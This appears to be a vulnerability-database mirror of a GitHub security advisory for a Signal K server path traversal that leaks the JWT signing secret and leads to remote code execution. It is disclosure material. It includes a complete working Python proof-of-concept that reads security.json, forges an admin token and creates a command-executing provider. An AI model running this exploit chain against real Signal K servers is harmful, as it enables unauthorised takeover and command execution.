GHSA-4XM8-RG9H-JHQ2
Vulnerability from github – Published: 2026-10-30 22:57 – Updated: 2026-11-09 20:39Summary
Path traversal in the Signal K resources and applicationData APIs lets an unauthenticated or low-privileged user read, write and delete files outside the storage root. Reading /security.json discloses the JWT signing secret, enabling admin token forgery and remote code execution.
Details
Description
The v2 REST resources API GET /signalk/v2/api/resources/:resourceType/:resourceId passes resourceId to FileStore.getResource() without validation. getResource() builds the file path with path.join(this.resources[type].path, itemUuid) followed by readFile + JSON.parse, so a %2F-encoded multi-level traversal (..%2F..%2F..%2F..%2F) escapes the resource storage directory and returns any JSON file on the server (source: src/api/resources/index.ts:559-600, packages/resources-provider-plugin/src/filestorage.ts:115-125).
Because the JWT signing secret is stored in plaintext in <config>/security.json (generated at src/tokensecurity.ts:271, persisted via saveSecurityConfig at src/security.ts:377), an unauthenticated attacker on deployments with allow_readonly=true (a supported, UI-toggleable configuration granting anonymous read access) can:
- Read
<config>/security.json— disclosing the JWT signing secret (512-hex) and user password hashes. - Forge an admin JWT — HS256-sign
{"id":"admin"}with the disclosed secret; accepted by/skServer/loginStatus(userLevel: "admin") and all admin-protected endpoints (adminAuthenticationMiddleware,src/tokensecurity.ts:593, applied atsrc/tokensecurity.ts:953). - Gain remote code execution —
POST /skServer/providers(admin) accepts a provider of typeExecute;packages/streams/src/execute.ts:93executes it viaspawn('sh', ['-c', command])at creation time. The provider persists tosettings.jsonand survives restarts.
On default deployments (allow_readonly=false), step 1 returns 401 to anonymous users but succeeds with any readonly user token.
Suggested fixes
- Validate
resourceIdagainst a strict whitelist (for example, UUID format) insrc/api/resources/index.tsbefore any storage call, including PUT/DELETE. - In
FileStore.getResource/setResource/deleteResource, canonicalise withpath.resolve()and reject results outsidethis.resources[type].path. - Store the JWT signing secret outside the API-readable config directory, in a dedicated key file with mode 0600.
- Consider gating provider types that execute commands (
Execute) behind an explicit opt-in.
Proof of concept
Fully local testbed. Start the server, enable allow_readonly=true, then run:
#!/usr/bin/env python3
import base64, hashlib, hmac, json, time, urllib.request
BASE = "http://127.0.0.1:3000"
CMD = "id > /tmp/sk-pwned"
# 1) unauthenticated traversal read of security.json
p = "/signalk/v2/api/resources/notes/..%2F..%2F..%2F..%2Fsecurity.json"
sk = json.load(urllib.request.urlopen(BASE + p))["secretKey"]
# 2) forge admin JWT
b64 = lambda b: base64.urlsafe_b64encode(b).rstrip(b"=").decode()
h = b64(json.dumps({"alg":"HS256","typ":"JWT"}).encode())
c = b64(json.dumps({"id":"admin","iat":int(time.time())}).encode())
tok = h+"."+c+"."+b64(hmac.new(sk.encode(), (h+"."+c).encode(), hashlib.sha256).digest())
req = urllib.request.Request(BASE+"/skServer/loginStatus", headers={"Authorization":"JWT "+tok})
assert json.load(urllib.request.urlopen(req))["userLevel"] == "admin"
# 3) add an Execute provider -> spawn('sh','-c',CMD)
prov = {"id":"poc-rce","enabled":True,"logging":False,"type":"Execute",
"options":{"type":"ws","dataType":"SignalK","command":CMD}}
req = urllib.request.Request(BASE+"/skServer/providers", data=json.dumps(prov).encode(),
headers={"Authorization":"JWT "+tok,"Content-Type":"application/json"}, method="POST")
print(urllib.request.urlopen(req).read()) # provider created; /tmp/sk-pwned now exists
Reproduction verified independently on master 340d5bb6 (Node 22 / macOS), including restart persistence. PoC artifacts are available on request.
Impact
Unauthenticated access (with allow_readonly=true) leads to full compromise of the server process: arbitrary JSON file read, admin takeover, arbitrary command execution with server privileges, and persistent re-execution after restart. All signalk-server releases and all published versions of the bundled/standalone resources-provider prior to 2.34.0 are affected with the patched version as 2.34.0 fix
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "signalk-server"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.34.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@signalk/resources-provider"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.5.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-123807"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-30T22:57:22Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\n\nPath traversal in the Signal K resources and applicationData APIs lets an\nunauthenticated or low-privileged user read, write and delete files outside\nthe storage root. Reading \u003cconfig\u003e/security.json discloses the JWT signing\nsecret, enabling admin token forgery and remote code execution. \n\n### Details\n\n## Description\n\nThe v2 REST resources API `GET /signalk/v2/api/resources/:resourceType/:resourceId` passes `resourceId` to `FileStore.getResource()` without validation. `getResource()` builds the file path with `path.join(this.resources[type].path, itemUuid)` followed by `readFile` + `JSON.parse`, so a `%2F`-encoded multi-level traversal (`..%2F..%2F..%2F..%2F`) escapes the resource storage directory and returns any JSON file on the server (source: `src/api/resources/index.ts:559-600`, `packages/resources-provider-plugin/src/filestorage.ts:115-125`).\n\nBecause the JWT signing secret is stored in plaintext in `\u003cconfig\u003e/security.json` (generated at `src/tokensecurity.ts:271`, persisted via `saveSecurityConfig` at `src/security.ts:377`), an unauthenticated attacker on deployments with `allow_readonly=true` (a supported, UI-toggleable configuration granting anonymous read access) can:\n\n1. **Read `\u003cconfig\u003e/security.json`** \u2014 disclosing the JWT signing secret (512-hex) and user password hashes.\n2. **Forge an admin JWT** \u2014 HS256-sign `{\"id\":\"admin\"}` with the disclosed secret; accepted by `/skServer/loginStatus` (`userLevel: \"admin\"`) and all admin-protected endpoints (`adminAuthenticationMiddleware`, `src/tokensecurity.ts:593`, applied at `src/tokensecurity.ts:953`).\n3. **Gain remote code execution** \u2014 `POST /skServer/providers` (admin) accepts a provider of type `Execute`; `packages/streams/src/execute.ts:93` executes it via `spawn(\u0027sh\u0027, [\u0027-c\u0027, command])` at creation time. The provider persists to `settings.json` and survives restarts.\n\nOn default deployments (`allow_readonly=false`), step 1 returns 401 to anonymous users but succeeds with any readonly user token.\n\n## Suggested fixes\n\n1. Validate `resourceId` against a strict whitelist (for example, UUID format) in `src/api/resources/index.ts` before any storage call, including PUT/DELETE.\n2. In `FileStore.getResource/setResource/deleteResource`, canonicalise with `path.resolve()` and reject results outside `this.resources[type].path`.\n3. Store the JWT signing secret outside the API-readable config directory, in a dedicated key file with mode 0600.\n4. Consider gating provider types that execute commands (`Execute`) behind an explicit opt-in.\n\n### Proof of concept\n\nFully local testbed. Start the server, enable `allow_readonly=true`, then run:\n\n```python\n#!/usr/bin/env python3\nimport base64, hashlib, hmac, json, time, urllib.request\nBASE = \"http://127.0.0.1:3000\"\nCMD = \"id \u003e /tmp/sk-pwned\"\n\n# 1) unauthenticated traversal read of security.json\np = \"/signalk/v2/api/resources/notes/..%2F..%2F..%2F..%2Fsecurity.json\"\nsk = json.load(urllib.request.urlopen(BASE + p))[\"secretKey\"]\n\n# 2) forge admin JWT\nb64 = lambda b: base64.urlsafe_b64encode(b).rstrip(b\"=\").decode()\nh = b64(json.dumps({\"alg\":\"HS256\",\"typ\":\"JWT\"}).encode())\nc = b64(json.dumps({\"id\":\"admin\",\"iat\":int(time.time())}).encode())\ntok = h+\".\"+c+\".\"+b64(hmac.new(sk.encode(), (h+\".\"+c).encode(), hashlib.sha256).digest())\nreq = urllib.request.Request(BASE+\"/skServer/loginStatus\", headers={\"Authorization\":\"JWT \"+tok})\nassert json.load(urllib.request.urlopen(req))[\"userLevel\"] == \"admin\"\n\n# 3) add an Execute provider -\u003e spawn(\u0027sh\u0027,\u0027-c\u0027,CMD)\nprov = {\"id\":\"poc-rce\",\"enabled\":True,\"logging\":False,\"type\":\"Execute\",\n \"options\":{\"type\":\"ws\",\"dataType\":\"SignalK\",\"command\":CMD}}\nreq = urllib.request.Request(BASE+\"/skServer/providers\", data=json.dumps(prov).encode(),\n headers={\"Authorization\":\"JWT \"+tok,\"Content-Type\":\"application/json\"}, method=\"POST\")\nprint(urllib.request.urlopen(req).read()) # provider created; /tmp/sk-pwned now exists\n```\n\nReproduction verified independently on master `340d5bb6` (Node 22 / macOS), including restart persistence. PoC artifacts are available on request.\n\n### Impact\n\nUnauthenticated access (with `allow_readonly=true`) leads to full compromise of the server process: arbitrary JSON file read, admin takeover, arbitrary command execution with server privileges, and persistent re-execution after restart. All signalk-server releases and all published versions of the bundled/standalone resources-provider prior to 2.34.0 are affected with the patched version as 2.34.0 fix",
"id": "GHSA-4xm8-rg9h-jhq2",
"modified": "2026-11-09T20:39:56Z",
"published": "2026-10-30T22:57:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/SignalK/signalk-server/security/advisories/GHSA-4xm8-rg9h-jhq2"
},
{
"type": "WEB",
"url": "https://github.com/SignalK/signalk-server/commit/83689f040d7e90280dddc643f44f3e4ce348fbb1"
},
{
"type": "PACKAGE",
"url": "https://github.com/SignalK/signalk-server"
},
{
"type": "WEB",
"url": "https://github.com/SignalK/signalk-server/releases/tag/v2.34.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Signal K resources API path traversal can disclose the JWT signing secret and enable remote code execution"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
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- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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